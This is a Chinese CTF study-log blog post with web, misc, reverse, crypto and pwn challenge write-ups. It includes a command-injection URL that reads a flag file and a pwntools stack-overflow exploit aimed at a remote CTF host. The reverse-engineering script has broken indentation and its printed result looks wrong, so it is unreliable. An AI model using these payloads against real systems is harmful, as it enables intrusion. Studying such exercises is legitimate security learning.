当前位置: 首页 > article >正文

1.23学习记录

web

XYNU2024信安杯 哎~想她了

在这里插入图片描述源代码找到提示,访问页面在这里插入图片描述第一层数组绕过,第二层发现ls /可以执行,接着用less代替tac和cat less /fl[a-z]g
exp:

URL/?fj1[]=1&fj2[]=2&cmd=less /fl[a-z]g

misc

[SWPU 2020]套娃

下载附件后得到一个Excel文档,但是打不开根据查阅,Excel本质上就是压缩包,就一直解压直到解压不了为止在这里插入图片描述文件中大量出现rc4提示,可能与rc4加密有关,rc4key是个加密压缩包,用010看看旁边那个压缩包在这里插入图片描述在最后找到了密码,根据前面得到的密文去解密得到key=ABCDEFGHIJKLMNOPQRSTUVWXYZ在这里插入图片描述

re

[SWPUCTF 2021 新生赛]re2

先查壳在这里插入图片描述用ida64查看,先找到主调函数求伪c在这里插入图片描述首先进去看到了字符串str2,然后就是输出函数跟输入函数,v7存的是str的字长用于限制下面for循环的次数,下面for循环的意思是满足条件改变字符串,大概的意思就是str2是被改的字符串,循环的次数就是str2的长度也就是12次。
exp:

s = “ylqq]aycqyp{”
x = “”

for char in s:
ascii_value = ord(char)

if (ascii_value <= 94 or ascii_value > 96) and (ascii_value <= 62 or ascii_value > 64):  
    new = ascii_value + 2 
else:  
    new = ascii_value - 24
x += chr(new)  
print(x)

解得{nss_c{es{r}

crypto

[LitCTF 2023]Hex?Hex!(初级)

得到一个txt在这里插入图片描述用随波逐流一把梭看一下,发现是鸭语Nak加密在这里插入图片描述

pwn

[BUUCTF]bjdctf_2020_babystack

用ida查看,发现在read处存在栈溢出在这里插入图片描述
__isoc99_scanf("%d", &nbytes)让用户输入下次输入时接受的数据的长度。
read(0, &buf, (unsigned int)nbytes)变量nbytes用户可控,存在栈溢出。
在目标函数func处发现后门函数在这里插入图片描述去找找bin/sh位置在这里插入图片描述exp:

from pwn import *
io=remote('node2.anna.nssctf.cn',28733)
io.sendlineafter("name:",b'100')
payload=b'a'*(0x10+8)+p64(0x4006E6)
io.sendlineafter("name?",payload)
io.interactive()

http://www.kler.cn/a/517797.html

相关文章:

  • 算法中的移动窗帘——C++滑动窗口算法详解
  • 基于 Node.js 的天气查询系统实现(附源码)
  • docker 安装 mysql 详解
  • Redis实战(黑马点评)——关于缓存(缓存更新策略、缓存穿透、缓存雪崩、缓存击穿、Redis工具)
  • Android - 通过Logcat Manager简单获取Android手机的Log
  • C++11新特性之auto与decltype(总结)
  • 【Feature Scaling】:加速梯度下降法的利器
  • NoSQL使用详解
  • 春节假期旅游热潮下,景区医疗安全如何全面升级?
  • 第R5周:天气预测
  • 竞赛算法总结
  • Flutter 给安卓签名时 使用 Android Studio 找不到 Generate Signed Bundle/APK 菜单问题
  • 基于 WPF 平台使用纯 C# 制作流体动画
  • 【软件测试】《软件测试计划》目录及内容概述
  • react中hooks之useDebugValue用法总结
  • 基于Springboot + vue实现的在线装修管理系统
  • FlinkSql使用中rank/dense_rank函数报错空指针
  • HashSet经典面试题
  • Git知识分享
  • 5. 马科维茨资产组合模型+政策意图AI金融智能体(Qwen-Max)增强方案(理论+Python实战)
  • 企业微信第三方应用开发006_开发配置_配置网络穿透_配置数据回调_指令回调_连接后台---企业微信开发009
  • ffmpeg的AVOption用法
  • YOLOv5模型版本详解:n/s/m/l的区别与选型指南
  • GEE | ERA5不同土壤层水分和温度变化
  • 【gopher的java学习笔记】一文讲懂controller,service,mapper,entity是什么
  • ChatGPT大模型极简应用开发-CH5-使用 LangChain 框架和插件增强 LLM 的功能